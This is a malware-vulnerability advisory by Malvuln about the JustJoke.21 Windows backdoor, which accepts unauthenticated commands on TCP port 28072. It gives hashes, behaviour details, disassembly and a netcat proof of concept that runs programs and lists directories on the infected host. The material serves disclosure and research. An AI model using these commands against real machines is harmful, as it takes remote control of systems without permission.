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## https://sploitus.com/exploit?id=PACKETSTORM:181320
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024  
Original source: https://malvuln.com/advisory/4dc39c05bcc93e600dd8de16f2f7c599.txt  
Contact: malvuln13@gmail.com  
Media: x.com/malvuln   
  
Threat: Backdoor.Win32.JustJoke.21 (BackDoor Pro - v2.0b4)  
Vulnerability: Unauthenticated Remote Command Execution  
Family: JustJoke  
Type: PE32  
MD5: 4dc39c05bcc93e600dd8de16f2f7c599  
SHA256: 55662483e663bde98d729489c6b25986003a40df1e2be376b0c3b20d2d6c7987   
Vuln ID: MVID-2024-0689  
Dropped files: Scanvegw.exe  
Disclosure: 09/03/2024  
Description: The malware listens on TCP port 28072. Upon execution, throws an error alert dialog with message: "File DATA1.CAB not found!". The backdoor then drops a hidden PE file named "Scanvegw.exe" in SysWoW64 use attrib -s -h. The malware then makes outbound connections to SMTP port 25. Hit enter twice when sending commands use "E" for Execute and "T" for Terminate. Calling programs incorrectly still gives a response of "Executed!" when it actually fails. The malware calls Win32 WinExec API, supply full path to the file.  
  
0046A0CC push eax ; lpCmdLine  
0046A0CD call WinExec  
0046A0D2 push offset aTmp ; "tmp!?!"  
0046A0D7 push [ebp+var_C]  
0046A0DA push offset aExecuted ; " Executed!"  
0046A0DF lea eax, [ebp+var_168]  
0046A0E5 mov edx, 3  
0046A0EA call sub_40495C  
  
Exploit/PoC:  
nc64.exe x.x.x.x 28072  
E "c:\\Windows\\System32\\calc.exe";  
tmp!?!"c:\\Windows\\System32\\calc.exe";  
Executed!  
E GetDir;  
tmp!?!GetDir;  
Executed!  
GetDir;C:\WINDOWS\system32  
@AudioToastIcon.png  
@EnrollmentToastIcon.png  
@VpnToastIcon.png  
@WirelessDisplayToast.png  
aadauthhelper.dll  
aadtb.dll  
AboveLockAppHost.dll  
accessibilitycpl.dll  
  
E GetDrive;  
tmp!?!GetDrive;  
Executed!GetDrive;c:   
d:  
GetFiles;  
GetSpace;  
  
  
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